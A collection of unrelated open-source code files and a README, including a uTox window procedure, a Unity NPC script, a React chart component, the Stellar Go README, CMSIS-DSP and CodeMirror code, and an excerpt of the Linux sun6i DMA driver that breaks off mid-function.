setstatus(TOX_USER_STATUS_AWAY); break; } case TRAY_STATUS_BUSY: { setstatus(TOX_USER_STATUS_BUSY); break; } } break; } case WM_NOTIFYICON: { int message = LOWORD(lParam); switch (message) { case WM_MOUSEMOVE: { break; } case WM_LBUTTONDOWN: { togglehide(0); break; } case WM_LBUTTONDBLCLK: { togglehide(1); break; } case WM_LBUTTONUP: { break; } case WM_RBUTTONDOWN: { break; } case WM_RBUTTONUP: case WM_CONTEXTMENU: { ShowContextMenu(); break; } } return false; } case WM_COPYDATA: { togglehide(1); SetForegroundWindow(window); COPYDATASTRUCT *data = (void *)lParam; if (data->lpData) { do_tox_url(data->lpData, data->cbData); } return false; } case WM_TOX ... WM_TOX + 128: { utox_message_dispatch(msg - WM_TOX, wParam >> 16, wParam, (void *)lParam); return false; } default: { if (msg == taskbar_created) { tray_icon_init(main_window.window, black_icon); } break; } } return DefWindowProcW(window, msg, wParam, lParam); }
{ "pile_set_name": "Github" }
using UnityEngine; using System.Collections; /* Collides with NPCs (using a FOV width sphere) to enable/disable them */ public class NPCActivator : MonoBehaviour { void OnTriggerStay(Collider col) { if (col.tag != "NPC" || col.isTrigger) { return; } // get the ownership so NPC can move if (col.gameObject.GetComponent<PhotonView>().owner == null) { col.gameObject.GetComponent<PhotonView>().TransferOwnership(PhotonNetwork.player); } col.gameObject.GetComponent<NPC>().setEnabled(true); } void OnTriggerExit(Collider col) { if (col.tag != "NPC" || col.isTrigger) { return; } if (col.gameObject.GetComponent<PhotonView>().isMine) { col.gameObject.GetComponent<PhotonView>().TransferOwnership(PhotonNetwork.masterClient); } col.gameObject.GetComponent<NPC>().setEnabled(false); } }
{ "pile_set_name": "Github" }
import { Axis, Chart, Geom, Tooltip } from 'bizcharts'; import React, { Component } from 'react'; import Debounce from 'lodash.debounce'; import autoHeight from '../autoHeight'; import styles from '../index.less'; export interface BarProps { title: React.ReactNode; color?: string; padding?: [number, number, number, number]; height?: number; data: { x: string; y: number; }[]; forceFit?: boolean; autoLabel?: boolean; style?: React.CSSProperties; } class Bar extends Component< BarProps, { autoHideXLabels: boolean; } > { state = { autoHideXLabels: false, }; root: HTMLDivElement | undefined = undefined; node: HTMLDivElement | undefined = undefined; resize = Debounce(() => { if (!this.node || !this.node.parentNode) { return; } const canvasWidth = (this.node.parentNode as HTMLDivElement).clientWidth; const { data = [], autoLabel = true } = this.props; if (!autoLabel) { return; } const minWidth = data.length * 30; const { autoHideXLabels } = this.state; if (canvasWidth <= minWidth) { if (!autoHideXLabels) { this.setState({ autoHideXLabels: true, }); } } else if (autoHideXLabels) { this.setState({ autoHideXLabels: false, }); } }, 500); componentDidMount() { window.addEventListener('resize', this.resize, { passive: true }); } componentWillUnmount() { window.removeEventListener('resize', this.resize); } handleRoot = (n: HTMLDivElement) => { this.root = n; }; handleRef = (n: HTMLDivElement) => { this.node = n; }; render() { const { height = 1, title, forceFit = true, data, color = 'rgba(24, 144, 255, 0.85)', padding, } = this.props; const { autoHideXLabels } = this.state; const scale = { x: { type: 'cat', }, y: { min: 0, }, }; const tooltip: [string, (...args: any[]) => { name?: string; value: string }] = [ 'x*y', (x: string, y: string) => ({ name: x, value: y, }), ]; return ( <div className={styles.chart} style={{ height }} ref={this.handleRoot}> <div ref={this.handleRef}> {title && <h4 style={{ marginBottom: 20 }}>{title}</h4>} <Chart scale={scale} height={title ? height - 41 : height} forceFit={forceFit} data={data} padding={padding || 'auto'} > <Axis name="x" title={false} label={autoHideXLabels ? undefined : {}} tickLine={autoHideXLabels ? undefined : {}} /> <Axis name="y" min={0} /> <Tooltip showTitle={false} crosshairs={false} /> <Geom type="interval" position="x*y" color={color} tooltip={tooltip} /> </Chart> </div> </div> ); } } export default autoHeight()(Bar);
{ "pile_set_name": "Github" }
<div align="center"> <a href="https://stellar.org"><img alt="Stellar" src="https://github.com/stellar/.github/raw/master/stellar-logo.png" width="558" /></a> <br/> <strong>Creating equitable access to the global financial system</strong> <h1>Stellar Go Monorepo</h1> </div> <p align="center"> <a href="https://circleci.com/gh/stellar/go"><img alt="Build Status" src="https://circleci.com/gh/stellar/go.svg?style=shield" /></a> <a href="https://godoc.org/github.com/stellar/go"><img alt="GoDoc" src="https://godoc.org/github.com/stellar/go?status.svg" /></a> <a href="https://goreportcard.com/report/github.com/stellar/go"><img alt="Go Report Card" src="https://goreportcard.com/badge/github.com/stellar/go" /></a> </p> This repo is the home for all of the public Go code produced by the [Stellar Development Foundation]. This repo contains various tools and services that you can use and deploy, as well as the SDK you can use to develop applications that integrate with the Stellar network. ## Package Index * [Horizon Server](services/horizon): Full-featured API server for Stellar network * [Go Horizon SDK - horizonclient](clients/horizonclient): Client for Horizon server (queries and transaction submission) * [Go Horizon SDK - txnbuild](txnbuild): Construct Stellar transactions and operations * [Ticker](services/ticker): An API server that provides statistics about assets and markets on the Stellar network * [Keystore](services/keystore): An API server that is used to store and manage encrypted keys for Stellar client applications * Servers for Anchors & Financial Institutions * [Bridge Server](services/bridge): send payments and take action when payments are received * [Compliance Server](services/compliance): Allows financial institutions to exchange KYC information * [Federation Server](services/federation): Allows organizations to provide addresses for users (`jane*examplebank.com`) ## Dependencies This repository is officially supported on the last two releases of Go, which is currently Go 1.14 and Go 1.15. It depends on a [number of external dependencies](./go.mod), and uses Go [Modules](https://github.com/golang/go/wiki/Modules) to manage them. Running any `go` command will automatically download dependencies required for that operation. You can choose to checkout this repository into a [GOPATH](https://github.com/golang/go/wiki/GOPATH) or into any directory. ## Directory Layout In addition to the other top-level packages, there are a few special directories that contain specific types of packages: * **clients** contains packages that provide client packages to the various Stellar services. * **exp** contains experimental packages. Use at your own risk. * **handlers** contains packages that provide pluggable implementors of `http.Handler` that make it easier to incorporate portions of the Stellar protocol into your own http server. * **support** contains packages that are not intended for consumption outside of Stellar's other packages. Packages that provide common infrastructure for use in our services and tools should go here, such as `db` or `log`. * **support/scripts** contains single-file go programs and bash scripts used to support the development of this repo. * **services** contains packages that compile to applications that are long-running processes (such as API servers). * **tools** contains packages that compile to command line applications. Each of these directories have their own README file that explain further the nature of their contents. ### Other packages In addition to the packages described above, this repository contains various packages related to working with the Stellar network from a go program. It's recommended that you use [godoc](https://godoc.org/github.com/stellar/go#pkg-subdirectories) to browse the documentation for each. ## Package source layout While much of the code in individual packages is organized based upon different developers' personal preferences, many of the packages follow a simple convention for organizing the declarations inside of a package that aim to aid in your ability to find code. In each package, there may be one or more of a set of common files: - *errors.go*: This file should contains declarations (both types and vars) for errors that are used by the package. - *example_test.go*: This file should contains example tests, as described at https://blog.golang.org/examples. - *main.go/internal.go* (**deprecated**): Older packages may have a `main.go` (public symbols) or `internal.go` (private symbols). These files contain, respectively, the exported and unexported vars, consts, types and funcs for the package. New packages do not follow this pattern, and instead follow the standard Go convention to co-locate structs and their methods in the same files. - *main.go* (**new convention**): If present, this file contains a `main` function as part of an executable `main` package. In addition to the above files, a package often has files that contains code that is specific to one declared type. This file uses the snake case form of the type name (for example `loggly_hook.go` would correspond to the type `LogglyHook`). This file should contain method declarations, interface implementation assertions and any other declarations that are tied solely to that type. Each non-test file can have a test counterpart like normal, whose name ends with `_test.go`. The common files described above also have their own test counterparts... for example `internal_test.go` should contains tests that test unexported behavior and more commonly test helpers that are unexported. Generally, file contents are sorted by exported/unexported, then declaration type (ordered as consts, vars, types, then funcs), then finally alphabetically. ### Test helpers Often, we provide test packages that aid in the creation of tests that interact with our other packages. For example, the `support/db` package has the `support/db/dbtest` package underneath it that contains elements that make it easier to test code that accesses a SQL database. We've found that this pattern of having a separate test package maximizes flexibility and simplifies package dependencies. ### Contributing Contributions are welcome! See [CONTRIBUTING.md](CONTRIBUTING.md) for more details. ### Developing See [DEVELOPING.md](DEVELOPING.md) for helpful instructions for getting started developing code in this repository. [Stellar Development Foundation]: https://stellar.org
{ "pile_set_name": "Github" }
{ "Starfish.experiment": "https://d2nhj9g34unfro.cloudfront.net/browse/formatted/iss/20190506/experiment.json", "Starfish.num_fovs": 15, "Starfish.recipe_file": "https://raw.githubusercontent.com/spacetx/starfish/master/workflows/wdl/iss_published/recipe.py" }
{ "pile_set_name": "Github" }
// CodeMirror, copyright (c) by Marijn Haverbeke and others // Distributed under an MIT license: https://codemirror.net/LICENSE (function(mod) { if (typeof exports == "object" && typeof module == "object") // CommonJS mod(require("../../lib/codemirror")); else if (typeof define == "function" && define.amd) // AMD define(["../../lib/codemirror"], mod); else // Plain browser env mod(CodeMirror); })(function(CodeMirror) { "use strict"; // Depends on js-yaml.js from https://github.com/nodeca/js-yaml // declare global: jsyaml CodeMirror.registerHelper("lint", "yaml", function(text) { var found = []; if (!window.jsyaml) { if (window.console) { window.console.error("Error: window.jsyaml not defined, CodeMirror YAML linting cannot run."); } return found; } try { jsyaml.loadAll(text); } catch(e) { var loc = e.mark, // js-yaml YAMLException doesn't always provide an accurate lineno // e.g., when there are multiple yaml docs // --- // --- // foo:bar from = loc ? CodeMirror.Pos(loc.line, loc.column) : CodeMirror.Pos(0, 0), to = from; found.push({ from: from, to: to, message: e.message }); } return found; }); });
{ "pile_set_name": "Github" }
/* ---------------------------------------------------------------------- * Copyright (C) 2010-2014 ARM Limited. All rights reserved. * * $Date: 19. March 2015 * $Revision: V.1.4.5 * * Project: CMSIS DSP Library * Title: arm_power_f32.c * * Description: Sum of the squares of the elements of a floating-point vector. * * Target Processor: Cortex-M4/Cortex-M3/Cortex-M0 * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * - Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * - Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * - Neither the name of ARM LIMITED nor the names of its contributors * may be used to endorse or promote products derived from this * software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * ---------------------------------------------------------------------------- */ #include "arm_math.h" /** * @ingroup groupStats */ /** * @defgroup power Power * * Calculates the sum of the squares of the elements in the input vector. * The underlying algorithm is used: * * <pre> * Result = pSrc[0] * pSrc[0] + pSrc[1] * pSrc[1] + pSrc[2] * pSrc[2] + ... + pSrc[blockSize-1] * pSrc[blockSize-1]; * </pre> * * There are separate functions for floating point, Q31, Q15, and Q7 data types. */ /** * @addtogroup power * @{ */ /** * @brief Sum of the squares of the elements of a floating-point vector. * @param[in] *pSrc points to the input vector * @param[in] blockSize length of the input vector * @param[out] *pResult sum of the squares value returned here * @return none. * */ void arm_power_f32( float32_t * pSrc, uint32_t blockSize, float32_t * pResult) { float32_t sum = 0.0f; /* accumulator */ float32_t in; /* Temporary variable to store input value */ uint32_t blkCnt; /* loop counter */ #ifndef ARM_MATH_CM0_FAMILY /* Run the below code for Cortex-M4 and Cortex-M3 */ /*loop Unrolling */ blkCnt = blockSize >> 2u; /* First part of the processing with loop unrolling. Compute 4 outputs at a time. ** a second loop below computes the remaining 1 to 3 samples. */ while(blkCnt > 0u) { /* C = A[0] * A[0] + A[1] * A[1] + A[2] * A[2] + ... + A[blockSize-1] * A[blockSize-1] */ /* Compute Power and then store the result in a temporary variable, sum. */ in = *pSrc++; sum += in * in; in = *pSrc++; sum += in * in; in = *pSrc++; sum += in * in; in = *pSrc++; sum += in * in; /* Decrement the loop counter */ blkCnt--; } /* If the blockSize is not a multiple of 4, compute any remaining output samples here. ** No loop unrolling is used. */ blkCnt = blockSize % 0x4u; #else /* Run the below code for Cortex-M0 */ /* Loop over blockSize number of values */ blkCnt = blockSize; #endif /* #ifndef ARM_MATH_CM0_FAMILY */ while(blkCnt > 0u) { /* C = A[0] * A[0] + A[1] * A[1] + A[2] * A[2] + ... + A[blockSize-1] * A[blockSize-1] */ /* compute power and then store the result in a temporary variable, sum. */ in = *pSrc++; sum += in * in; /* Decrement the loop counter */ blkCnt--; } /* Store the result to the destination */ *pResult = sum; } /** * @} end of power group */
{ "pile_set_name": "Github" }
/* * Copyright (C) 2013-2014 Allwinner Tech Co., Ltd * Author: Sugar <[email protected]> * * Copyright (C) 2014 Maxime Ripard * Maxime Ripard <[email protected]> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. */ #include <linux/clk.h> #include <linux/delay.h> #include <linux/dmaengine.h> #include <linux/dmapool.h> #include <linux/interrupt.h> #include <linux/module.h> #include <linux/of_dma.h> #include <linux/of_device.h> #include <linux/platform_device.h> #include <linux/reset.h> #include <linux/slab.h> #include <linux/types.h> #include "virt-dma.h" /* * Common registers */ #define DMA_IRQ_EN(x) ((x) * 0x04) #define DMA_IRQ_HALF BIT(0) #define DMA_IRQ_PKG BIT(1) #define DMA_IRQ_QUEUE BIT(2) #define DMA_IRQ_CHAN_NR 8 #define DMA_IRQ_CHAN_WIDTH 4 #define DMA_IRQ_STAT(x) ((x) * 0x04 + 0x10) #define DMA_STAT 0x30 /* * sun8i specific registers */ #define SUN8I_DMA_GATE 0x20 #define SUN8I_DMA_GATE_ENABLE 0x4 /* * Channels specific registers */ #define DMA_CHAN_ENABLE 0x00 #define DMA_CHAN_ENABLE_START BIT(0) #define DMA_CHAN_ENABLE_STOP 0 #define DMA_CHAN_PAUSE 0x04 #define DMA_CHAN_PAUSE_PAUSE BIT(1) #define DMA_CHAN_PAUSE_RESUME 0 #define DMA_CHAN_LLI_ADDR 0x08 #define DMA_CHAN_CUR_CFG 0x0c #define DMA_CHAN_CFG_SRC_DRQ(x) ((x) & 0x1f) #define DMA_CHAN_CFG_SRC_IO_MODE BIT(5) #define DMA_CHAN_CFG_SRC_LINEAR_MODE (0 << 5) #define DMA_CHAN_CFG_SRC_BURST(x) (((x) & 0x3) << 7) #define DMA_CHAN_CFG_SRC_WIDTH(x) (((x) & 0x3) << 9) #define DMA_CHAN_CFG_DST_DRQ(x) (DMA_CHAN_CFG_SRC_DRQ(x) << 16) #define DMA_CHAN_CFG_DST_IO_MODE (DMA_CHAN_CFG_SRC_IO_MODE << 16) #define DMA_CHAN_CFG_DST_LINEAR_MODE (DMA_CHAN_CFG_SRC_LINEAR_MODE << 16) #define DMA_CHAN_CFG_DST_BURST(x) (DMA_CHAN_CFG_SRC_BURST(x) << 16) #define DMA_CHAN_CFG_DST_WIDTH(x) (DMA_CHAN_CFG_SRC_WIDTH(x) << 16) #define DMA_CHAN_CUR_SRC 0x10 #define DMA_CHAN_CUR_DST 0x14 #define DMA_CHAN_CUR_CNT 0x18 #define DMA_CHAN_CUR_PARA 0x1c /* * Various hardware related defines */ #define LLI_LAST_ITEM 0xfffff800 #define NORMAL_WAIT 8 #define DRQ_SDRAM 1 /* * Hardware channels / ports representation * * The hardware is used in several SoCs, with differing numbers * of channels and endpoints. This structure ties those numbers * to a certain compatible string. */ struct sun6i_dma_config { u32 nr_max_channels; u32 nr_max_requests; u32 nr_max_vchans; }; /* * Hardware representation of the LLI * * The hardware will be fed the physical address of this structure, * and read its content in order to start the transfer. */ struct sun6i_dma_lli { u32 cfg; u32 src; u32 dst; u32 len; u32 para; u32 p_lli_next; /* * This field is not used by the DMA controller, but will be * used by the CPU to go through the list (mostly for dumping * or freeing it). */ struct sun6i_dma_lli *v_lli_next; }; struct sun6i_desc { struct virt_dma_desc vd; dma_addr_t p_lli; struct sun6i_dma_lli *v_lli; }; struct sun6i_pchan { u32 idx; void __iomem *base; struct sun6i_vchan *vchan; struct sun6i_desc *desc; struct sun6i_desc *done; }; struct sun6i_vchan { struct virt_dma_chan vc; struct list_head node; struct dma_slave_config cfg; struct sun6i_pchan *phy; u8 port; u8 irq_type; bool cyclic; }; struct sun6i_dma_dev { struct dma_device slave; void __iomem *base; struct clk *clk; int irq; spinlock_t lock; struct reset_control *rstc; struct tasklet_struct task; atomic_t tasklet_shutdown; struct list_head pending; struct dma_pool *pool; struct sun6i_pchan *pchans; struct sun6i_vchan *vchans; const struct sun6i_dma_config *cfg; }; static struct device *chan2dev(struct dma_chan *chan) { return &chan->dev->device; } static inline struct sun6i_dma_dev *to_sun6i_dma_dev(struct dma_device *d) { return container_of(d, struct sun6i_dma_dev, slave); } static inline struct sun6i_vchan *to_sun6i_vchan(struct dma_chan *chan) { return container_of(chan, struct sun6i_vchan, vc.chan); } static inline struct sun6i_desc * to_sun6i_desc(struct dma_async_tx_descriptor *tx) { return container_of(tx, struct sun6i_desc, vd.tx); } static inline void sun6i_dma_dump_com_regs(struct sun6i_dma_dev *sdev) { dev_dbg(sdev->slave.dev, "Common register:\n" "\tmask0(%04x): 0x%08x\n" "\tmask1(%04x): 0x%08x\n" "\tpend0(%04x): 0x%08x\n" "\tpend1(%04x): 0x%08x\n" "\tstats(%04x): 0x%08x\n", DMA_IRQ_EN(0), readl(sdev->base + DMA_IRQ_EN(0)), DMA_IRQ_EN(1), readl(sdev->base + DMA_IRQ_EN(1)), DMA_IRQ_STAT(0), readl(sdev->base + DMA_IRQ_STAT(0)), DMA_IRQ_STAT(1), readl(sdev->base + DMA_IRQ_STAT(1)), DMA_STAT, readl(sdev->base + DMA_STAT)); } static inline void sun6i_dma_dump_chan_regs(struct sun6i_dma_dev *sdev, struct sun6i_pchan *pchan) { phys_addr_t reg = virt_to_phys(pchan->base); dev_dbg(sdev->slave.dev, "Chan %d reg: %pa\n" "\t___en(%04x): \t0x%08x\n" "\tpause(%04x): \t0x%08x\n" "\tstart(%04x): \t0x%08x\n" "\t__cfg(%04x): \t0x%08x\n" "\t__src(%04x): \t0x%08x\n" "\t__dst(%04x): \t0x%08x\n" "\tcount(%04x): \t0x%08x\n" "\t_para(%04x): \t0x%08x\n\n", pchan->idx, &reg, DMA_CHAN_ENABLE, readl(pchan->base + DMA_CHAN_ENABLE), DMA_CHAN_PAUSE, readl(pchan->base + DMA_CHAN_PAUSE), DMA_CHAN_LLI_ADDR, readl(pchan->base + DMA_CHAN_LLI_ADDR), DMA_CHAN_CUR_CFG, readl(pchan->base + DMA_CHAN_CUR_CFG), DMA_CHAN_CUR_SRC, readl(pchan->base + DMA_CHAN_CUR_SRC), DMA_CHAN_CUR_DST, readl(pchan->base + DMA_CHAN_CUR_DST), DMA_CHAN_CUR_CNT, readl(pchan->base + DMA_CHAN_CUR_CNT), DMA_CHAN_CUR_PARA, readl(pchan->base + DMA_CHAN_CUR_PARA)); } static inline s8 convert_burst(u32 maxburst) { switch (maxburst) { case 1: return 0; case 8: return 2; default: return -EINVAL; } } static inline s8 convert_buswidth(enum dma_slave_buswidth addr_width) { if ((addr_width < DMA_SLAVE_BUSWIDTH_1_BYTE) || (addr_width > DMA_SLAVE_BUSWIDTH_4_BYTES)) return -EINVAL; return addr_width >> 1; } static size_t sun6i_get_chan_size(struct sun6i_pchan *pchan) { struct sun6i_desc *txd = pchan->desc; struct sun6i_dma_lli *lli; size_t bytes; dma_addr_t pos; pos = readl(pchan->base + DMA_CHAN_LLI_ADDR); bytes = readl(pchan->base + DMA_CHAN_CUR_CNT); if (pos == LLI_LAST_ITEM) return bytes; for (lli = txd->v_lli; lli; lli = lli->v_lli_next) { if (lli->p_lli_next == pos) { for (lli = lli->v_lli_next; lli; lli = lli->v_lli_next) bytes += lli->len; break; } } return bytes; } static void *sun6i_dma_lli_add(struct sun6i_dma_lli *prev, struct sun6i_dma_lli *next, dma_addr_t next_phy, struct sun6i_desc *txd) { if ((!prev && !txd) || !next) return NULL; if (!prev) { txd->p_lli = next_phy; txd->v_lli = next; } else { prev->p_lli_next = next_phy; prev->v_lli_next = next; } next->p_lli_next = LLI_LAST_ITEM; next->v_lli_next = NULL; return next; } static inline void sun6i_dma_dump_lli(struct sun6i_vchan *vchan, struct sun6i_dma_lli *lli) { phys_addr_t p_lli = virt_to_phys(lli); dev_dbg(chan2dev(&vchan->vc.chan), "\n\tdesc: p - %pa v - 0x%p\n" "\t\tc - 0x%08x s - 0x%08x d - 0x%08x\n" "\t\tl - 0x%08x p - 0x%08x n - 0x%08x\n", &p_lli, lli, lli->cfg, lli->src, lli->dst, lli->len, lli->para, lli->p_lli_next); } static void sun6i_dma_free_desc(struct virt_dma_desc *vd) { struct sun6i_desc *txd = to_sun6i_desc(&vd->tx); struct sun6i_dma_dev *sdev = to_sun6i_dma_dev(vd->tx.chan->device); struct sun6i_dma_lli *v_lli, *v_next; dma_addr_t p_lli, p_next; if (unlikely(!txd)) return; p_lli = txd->p_lli; v_lli = txd->v_lli; while (v_lli) { v_next = v_lli->v_lli_next; p_next = v_lli->p_lli_next; dma_pool_free(sdev->pool, v_lli, p_lli); v_lli = v_next; p_lli = p_next; } kfree(txd); } static int sun6i_dma_start_desc(struct sun6i_vchan *vchan) { struct sun6i_dma_dev *sdev = to_sun6i_dma_dev(vchan->vc.chan.device); struct virt_dma_desc *desc = vchan_next_desc(&vchan->vc); struct sun6i_pchan *pchan = vchan->phy; u32 irq_val, irq_reg, irq_offset; if (!pchan) return -EAGAIN; if (!desc) { pchan->desc = NULL; pchan->done = NULL; return -EAGAIN; } list_del(&desc->node); pchan->desc = to_sun6i_desc(&desc->tx); pchan->done = NULL; sun6i_dma_dump_lli(vchan, pchan->desc->v_lli); irq_reg = pchan->idx / DMA_IRQ_CHAN_NR; irq_offset = pchan->idx % DMA_IRQ_CHAN_NR; vchan->irq_type = vchan->cyclic ? DMA_IRQ_PKG : DMA_IRQ_QUEUE; irq_val = readl(sdev->base + DMA_IRQ_EN(irq_reg)); irq_val &= ~((DMA_IRQ_HALF | DMA_IRQ_PKG | DMA_IRQ_QUEUE) << (irq_offset * DMA_IRQ_CHAN_WIDTH)); irq_val |= vchan->irq_type << (irq_offset * DMA_IRQ_CHAN_WIDTH); writel(irq_val, sdev->base + DMA_IRQ_EN(irq_reg)); writel(pchan->desc->p_lli, pchan->base + DMA_CHAN_LLI_ADDR); writel(DMA_CHAN_ENABLE_START, pchan->base + DMA_CHAN_ENABLE); sun6i_dma_dump_com_regs(sdev); sun6i_dma_dump_chan_regs(sdev, pchan); return 0; } static void sun6i_dma_tasklet(unsigned long data) { struct sun6i_dma_dev *sdev = (struct sun6i_dma_dev *)data; const struct sun6i_dma_config *cfg = sdev->cfg; struct sun6i_vchan *vchan; struct sun6i_pchan *pchan; unsigned int pchan_alloc = 0; unsigned int pchan_idx; list_for_each_entry(vchan, &sdev->slave.channels, vc.chan.device_node) { spin_lock_irq(&vchan->vc.lock); pchan = vchan->phy; if (pchan && pchan->done) { if (sun6i_dma_start_desc(vchan)) { /* * No current txd associated with this channel */ dev_dbg(sdev->slave.dev, "pchan %u: free\n", pchan->idx); /* Mark this channel free */ vchan->phy = NULL; pchan->vchan = NULL; } } spin_unlock_irq(&vchan->vc.lock); } spin_lock_irq(&sdev->lock); for (pchan_idx = 0; pchan_idx < cfg->nr_max_channels; pchan_idx++) { pchan = &sdev->pchans[pchan_idx]; if (pchan->vchan || list_empty(&sdev->pending)) continue; vchan = list_first_entry(&sdev->pending, struct sun6i_vchan, node); /* Remove from pending channels */ list_del_init(&vchan->node); pchan_alloc |= BIT(pchan_idx); /* Mark this channel allocated */ pchan->vchan = vchan; vchan->phy = pchan; dev_dbg(sdev->slave.dev, "pchan %u: alloc vchan %p\n", pchan->idx, &vchan->vc); } spin_unlock_irq(&sdev->lock); for (pchan_idx = 0; pchan_idx < cfg->nr_max_channels; pchan_idx++) { if (!(pchan_alloc & BIT(pchan_idx))) continue; pchan = sdev->pchans + pchan_idx; vchan = pchan->vchan; if (vchan) { spin_lock_irq(&vchan->vc.lock); sun6i_dma_start_desc(vchan); spin_unlock_irq(&vchan->vc.lock); } } } static irqreturn_t sun6i_dma_interrupt(int irq, void *dev_id) { struct sun6i_dma_dev *sdev = dev_id; struct sun6i_vchan *vchan; struct sun6i_pchan *pchan; int i, j, ret = IRQ_NONE; u32 status; for (i = 0; i < sdev->cfg->nr_max_channels / DMA_IRQ_CHAN_NR; i++) { status = readl(sdev->base + DMA_IRQ_STAT(i)); if (!status) continue; dev_dbg(sdev->slave.dev, "DMA irq status %s: 0x%x\n", i ? "high" : "low", status); writel(status, sdev->base + DMA_IRQ_STAT(i)); for (j = 0; (j < DMA_IRQ_CHAN_NR) && status; j++) { pchan = sdev->pchans + j; vchan = pchan->vchan; if (vchan && (status & vchan->irq_type)) { if (vchan->cyclic) { vchan_cyclic_callback(&pchan->desc->vd); } else { spin_lock(&vchan->vc.lock); vchan_cookie_complete(&pchan->desc->vd); pchan->done = pchan->desc; spin_unlock(&vchan->vc.lock); } } status = status >> DMA_IRQ_CHAN_WIDTH; } if (!atomic_read(&sdev->tasklet_shutdown)) tasklet_schedule(&sdev->task); ret = IRQ_HANDLED; } return ret; } static int set_config(struct sun6i_dma_dev *sdev, struct dma_slave_config *sconfig, enum dma_transfer_direction direction, u32 *p_cfg) { s8 src_width, dst_width, src_burst, dst_burst; switch (direction) { case DMA_MEM_TO_DEV: src_burst = convert_burst(sconfig->src_maxburst ? sconfig->src_maxburst : 8); src_width = convert_buswidth(sconfig->src_addr_width != DMA_SLAVE_BUSWIDTH_UNDEFINED ? sconfig->src_addr_width : DMA_SLAVE_BUSWIDTH_4_BYTES); dst_burst = convert_burst(sconfig->dst_maxburst); dst_width = convert_buswidth(sconfig->dst_addr_width); break; case DMA_DEV_TO_MEM: src_burst = convert_burst(sconfig->src_maxburst); src_width = convert_buswidth(sconfig->src_addr_width); dst_burst = convert_burst(sconfig->dst_maxburst ? sconfig->dst_maxburst : 8); dst_width = convert_buswidth(sconfig->dst_addr_width != DMA_SLAVE_BUSWIDTH_UNDEFINED ? sconfig->dst_addr_width : DMA_SLAVE_BUSWIDTH_4_BYTES); break; default: return -EINVAL; } if (src_burst < 0) return src_burst; if (src_width < 0) return src_width; if (dst_burst < 0) return dst_burst; if (dst_width < 0) return dst_width; *p_cfg = DMA_CHAN_CFG_SRC_BURST(src_burst) | DMA_CHAN_CFG_SRC_WIDTH(src_width) | DMA_CHAN_CFG_DST_BURST(dst_burst) | DMA_CHAN_CFG_DST_WIDTH(dst_width); return 0; } static struct dma_async_tx_descriptor *sun6i_dma_prep_dma_memcpy( struct dma_chan *chan, dma_addr_t dest, dma_addr_t src, size_t len, unsigned long flags) { struct sun6i_dma_dev *sdev = to_sun6i_dma_dev(chan->device); struct sun6i_vchan *vchan = to_sun6i_vchan(chan); struct sun6i_dma_lli *v_lli; struct sun6i_desc *txd; dma_addr_t p_lli; s8 burst, width; dev_dbg(chan2dev(chan), "%s; chan: %d, dest: %pad, src: %pad, len: %zu. flags: 0x%08lx\n", __func__, vchan->vc.chan.chan_id, &dest, &src, len, flags); if (!len) return NULL; txd = kzalloc(sizeof(*txd), GFP_NOWAIT); if (!txd) return NULL; v_lli = dma_pool_alloc(sdev->pool, GFP_NOWAIT, &p_lli); if (!v_lli) { dev_err(sdev->slave.dev, "Failed to alloc lli memory\n"); goto err_txd_free; } v_lli->src = src; v_lli->dst = dest; v_lli->len = len; v_lli->para = NORMAL_WAIT; burst = convert_burst(8); width = convert_buswidth(DMA_SLAVE_BUSWIDTH_4_BYTES); v_lli->cfg |= DMA_CHAN_CFG_SRC_DRQ(DRQ_SDRAM) | DMA_CHAN_CFG_DST_DRQ(DRQ_SDRAM) | DMA_CHAN_CFG_DST_LINEAR_MODE | DMA_CHAN_CFG_SRC_LINEAR_MODE | DMA_CHAN_CFG_SRC_BURST(burst) | DMA_CHAN_CFG_SRC_WIDTH(width) | DMA_CHAN_CFG_DST_BURST(burst) | DMA_CHAN_CFG_DST_WIDTH(width); sun6i_dma_lli_add(NULL, v_lli, p_lli, txd); sun6i_dma_dump_lli(vchan, v_lli); return vchan_tx_prep(&vchan->vc, &txd->vd, flags); err_txd_free: kfree(txd); return NULL; } static struct dma_async_tx_descriptor *sun6i_dma_prep_slave_sg( struct dma_chan *chan, struct scatterlist *sgl, unsigned int sg_len, enum dma_transfer_direction dir, unsigned long flags, void *context) { struct sun6i_dma_dev *sdev = to_sun6i_dma_dev(chan->device); struct sun6i_vchan *vchan = to_sun6i_vchan(chan); struct dma_slave_config *sconfig = &vchan->cfg; struct sun6i_dma_lli *v_lli, *prev = NULL; struct sun6i_desc *txd; struct scatterlist *sg; dma_addr_t p_lli; u32 lli_cfg; int i, ret; if (!sgl) return NULL; ret = set_config(sdev, sconfig, dir, &lli_cfg); if (ret) { dev_err(chan2dev(chan), "Invalid DMA configuration\n"); return NULL; } txd = kzalloc(sizeof(*txd), GFP_NOWAIT); if (!txd) return NULL; for_each_sg(sgl, sg, sg_len, i) { v_lli = dma_pool_alloc(sdev->pool, GFP_NOWAIT, &p_lli); if (!v_lli) goto err_lli_free; v_lli->len = sg_dma_len(sg); v_lli->para = NORMAL_WAIT; if (dir == DMA_MEM_TO_DEV) { v_lli->src = sg_dma_address(sg); v_lli->dst = sconfig->dst_addr; v_lli->cfg = lli_cfg | 